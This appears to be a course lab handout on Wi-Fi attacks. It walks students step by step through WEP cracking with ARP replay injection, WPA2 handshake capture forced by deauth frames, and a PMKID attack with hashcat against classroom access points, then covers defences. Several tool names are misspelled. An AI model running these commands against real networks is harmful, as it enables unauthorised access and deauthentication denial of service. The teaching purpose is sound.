

2026 EDITION

Network Security

Laboratory



Lab 06 · Wireless Attacks

WEP Cracking · WPA2 Dictionary · PMKID

Before We Start

No GNS3 today. You work directly on your own Linux machine, in radio range of the physical AP set up in the room.

Install tools (once — apt)

```
sudo apt install aircrack-ng \
  cowpatty \
  john \
  hcxdumpool \
  hcxtools \
  hashcat
```

Monitor mode & verify

```
iw dev
# find iface (wlan0/wlp*)
sudo airmon-ng check kill
# kill NM, wpa_supplicant
sudo airmon-ng start <IFACE>
# wlan0: wlan0mon
sudo airodump-ng <IFACE_MON> # scan
```

RSI-Wep

WEP-128 · target of ES 01

RSI-Sicurissima

WPA2-Personal · ES 02 & ES 03

Your laptop

Linux + monitor-mode Wi-Fi card

Today's Roadmap

1

ES 01 — WEP Cracking

Capture IVs with airodump, accelerate with aireplay-ng -3, recover the key with FMS/PTW statistical attacks.

2

ES 02 — WPA2 Dictionary Attack

Force a deauth, capture the 4-way handshake, run an offline dictionary attack against PBKDF2-SHA1(pwd, SSID).

3

ES 03 — PMKID Attack (no client required)

Extract the PMKID from a single AP frame with hcxdumpool. Crack offline with hashcat — completely passive on the victim side.

4

Defences — long passphrases, unique SSID, WPA3, WPA2-Enterprise

Make the offline attack computationally infeasible — or remove the offline attack entirely.

802.11 — A Channel Anyone Can Hear

Three protocols designed before offline cracking was cheap. Each one leaks something different.

WEP

RC4 + 24-bit IV: statistical key recovery

IV sent in clear with every packet. After ~85k IVs the key is recovered statistically (FMS, 2001), not brute-forced. Deprecated 2004; alive in legacy hardware.

WPA2

4-way handshake: offline dictionary attack

PMK = PBKDF2-SHA1(passphrase, SSID, 4096). The handshake leaks enough to test passphrases offline at GPU speed. Strength = passphrase entropy, nothing else.

PMKID

Single AP frame: no client needed

Steube, 2018. AP exposes PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC) in the RSN IE. No deauth, no client, just hcxdumpool.

Common theme: proximity is the only prerequisite. Once you are in radio range, the rest is offline computation.

How WEP Cracking Works

Not brute-force, only statistical. Each weak IV leaks one byte of keystream about RC4.

WEP shared-key authentication

1. Client AP: Auth Request
2. AP Client: 128-byte challenge (clear)
3. Client AP: RC4(challenge, WEP_key)
4. AP decrypts, compares, accepts/rejects

```
# Per-packet:  
# RC4(IV || key)  
# IV = 24 bits, sent in clear
```

FMS / PTW attack (simplified)

1. Capture ~50000–200000 IVs
2. For each "weak" IV, learn one byte of keystream about the key
3. Combine bytes then recover full key

```
# aireplay-ng -3 injects ARP requests  
# AP rebroadcasts encrypted with NEW IV  
# IVs grow fast (minutes, not hours)
```

No key length saves WEP. WEP-128 is broken just as fast as WEP-64 — IV reuse leaks the key, not key size.

Exercise 1 — WEP Cracking

Try on your own: target is RSI-Wep. Goal: recover the WEP key with aircrack-ng.

1a Identify the target

```
# sweep all channels first

sudo airodump-ng <IFACE_MON>

# note: BSSID and CH for RSI-Wep
# ENC=WEP, CIPHER=WEP, AUTH=SKA/OPN
```

1b Targeted capture (terminal 1)

```
sudo airodump-ng -c <CH> \
  --bssid <BSSID> \
  -w wep.cap <IFACE_MON>

# keep open — watch
# Data climb
```

1c Inject ARP (terminal 2)

```
sudo aireplay-ng -3 \
  -b <BSSID> <IFACE_MON>

# -3: ARP replay attack
# AP re-encrypts each replay
# with a fresh IV → #Data ↑
```

1d Crack (terminal 3, #Data > 500)

```
sudo aircrack-ng wep.cap-01.cap

# expected:
# KEY FOUND! [ AA:BB:CC:DD:EE ]

sudo airmon-ng stop <IFACE_MON>
```

Hint — if injection fails, your driver doesn't support it. Skip to the offline variation in the next slide.

Variation — IV Quality vs IV Quantity

Two pre-recorded captures, same WEP-128 key. Run both offline.

A

wep-01.cap — crafted with weak IVs

aircrack-ng wep-01.cap will crack in seconds. Few IVs, but each one leaks a byte of keystream about the RC4 schedule.

B

wep-02.cap — 120 000 random IVs, no weak ones

aircrack-ng wep-02.cap will fail. Lots of IVs but none are statistically informative. The attack stalls.

Q

Question for the class

How many IVs does each file contain? Which one cracks? Why does quality beat quantity in the FMS/PTW attack?

aireplay-ng -3 wins both ways — it generates a flood of weak IVs. Without injection, you may collect 100k IVs and still recover nothing.

WPA2 — A 4-Way Handshake to Crack Offline

The handshake doesn't carry the PMK — but it carries enough to verify a candidate passphrase offline.

1 · DERIVE	2 · HANDSHAKE	3 · DEAUTH	4 · GUESS
<i>on AP and client</i> PMK = PBKDF2-SHA1(passphrase, SSID, 4096 rounds). SSID is the salt — same SSID = same PMK for the same password.	<i>4 frames, association</i> ANonce, SNonce, MIC exchanged. Anyone in range can capture the 4 frames — they are not encrypted.	<i>force a re-association</i> aireplay-ng -0 sends spoofed deauth → client reconnects → handshake captured. Needs a connected client.	<i>offline, at GPU speed</i> For each candidate: PBKDF2 → derive PTK → check MIC. Match? You found the passphrase.

There is no online attack. Once the handshake is captured, the network never sees you again — the limit is your wordlist and your GPU.

Exercise 2 — WPA2 Dictionary Attack

Try on your own: target RSI-Sicurissima.

2a Targeted capture (terminal 1)

```
sudo airodump-ng -c <CH> \
  --bssid <BSSID> \
  -w wpa.cap <IFACE_MON>
# keep running — watch banner:
# "WPA handshake: ..."
```

2b Force deauth (terminal 2)

```
sudo aireplay-ng -0 2 \
  -a <BSSID> <IFACE_MON>
# -0 2: send 2 deauth frames
# clients reconnect → handshake
# NEVER use -0 0 (DoS, infinite)
```

2c Prepare a wordlist

```
# A) john's built-in
ls /usr/share/john/password.lst
# B) toy_dict.txt (provided)
# C) rockyou.txt (~14M entries)
```

2d Crack offline

```
sudo aircrack-ng -w toy_dict.txt \
  wpa.cap-01.cap
# expected:
# KEY FOUND! [ nonmicraccheraimai ]
sudo airmon-ng stop <IFACE_MON>
```

Try also password.lst — does it find the key? Why not? Take-home: pre-compute PMK with genpmk, crack with cowpatty (table tied to SSID).

PMKID — No Client Required

Steube, 2018. The AP itself volunteers a value derived from the PMK — no deauth, no handshake, no client.

Where the PMKID lives

```
PMKID = HMAC-SHA1-128(  
    PMK,  
    "PMK Name" ||  
    AP_MAC ||  
    Client_MAC )  
  
# Carried in the RSN IE during  
# the (re)association request.  
# hcxdump tool requests it.
```

vs. ES 02 (4-way handshake)

```
ES 02:  needs a client  
        needs a deauth  
        needs all 4 frames  
  
ES 03:  needs nothing on the LAN  
        single frame, single AP  
        works at 3 a.m. — no users  
        passive on victim side
```

The cracking step is identical to ES 02 — same PBKDF2, same dictionary, same speed. PMKID just removes the prerequisite of a connected client.

Exercise 3 — PMKID Attack

Try on your own: same target RSI-Sicurissima.

3a Install hcx tools

```
sudo apt install hcxdump tool \
  hcxtools hashcat
# hcxcapngtool ships with hcxtools
# verify: hcxdump tool --help
```

3b Capture the PMKID

```
sudo hcxdump tool -i <IFACE_MON> \
  --filterlist_ap=<BSSID_NO_:> \
  --filtermode=2 \
  -o pmkid.pcapng
# ~30s, watch for: FOUND PMKID
```

3c Convert to hashcat format

```
hcxcapngtool \
  -o pmkid.hc22000 \
  pmkid.pcapng
# produces .hc22000 hash file
# unified format since hashcat 6
```

3d Crack with hashcat

```
hashcat -m 22000 \
  pmkid.hc22000 toy_dict.txt
# -m 22000 = WPA2 PMKID/handshake
# expected:
# <hash>:nonmicraccheraimai
```

When would you prefer PMKID over the 4-way handshake? Almost always — passive, no waiting for clients, WPA3 closes this.

Wireless Defences

The attacks differ; the fix is the same — make the offline guess infeasible, or remove it entirely.

WEP

Don't use it. Period.

No key length or configuration makes WEP secure. The IV weakness is intrinsic. Replace WEP-only hardware with WPA2 or WPA3.

PWD

Long, random WPA2 passphrases

20 random chars from a 95-char alphabet $\approx$ 131 bits of entropy. Rockyou (14M) becomes irrelevant — the passphrase is in no wordlist.

SSID

Unique SSID — kills pre-built rainbow tables

SSID is the PBKDF2 salt. A table for "linksys" or "home" is useless against "RSI-Sicurissima-3f9d". Free defence.

WPA3

WPA3 (SAE) and WPA2-Enterprise (802.1X)

SAE resists offline dictionary attacks — captured handshake gives nothing. 802.1X = per-user RADIUS creds. WPA3 also closes PMKID.

Common theme — WEP is broken. WPA2-PSK is only as strong as its passphrase. The transition path is WPA3 or WPA2-Enterprise.

Key Takeaways

WEP

RC4 + 24-bit IV is broken — quality of IVs, not quantity

FMS/PTW recovers the key statistically. aireplay-ng -3 turns minutes into seconds by forcing fresh IVs. No fix at the protocol level.

WPA2

Capture the handshake once — crack offline forever

The network never sees you after the deauth. Strength = passphrase entropy + SSID uniqueness. PBKDF2 only buys a constant slowdown vs modern GPUs.

PMKID

You don't even need a client anymore

One frame from the AP, hcxdumptool, hashcat -m 22000. Same crack, no deauth, no waiting. Modern Wi-Fi pentest default.

FIX

Long passphrase + unique SSID; WPA3 if you can

The attacks all assume an offline guess succeeds. Make that infeasible (entropy) or impossible (SAE / 802.1X). Standardised — deployment is the slow part.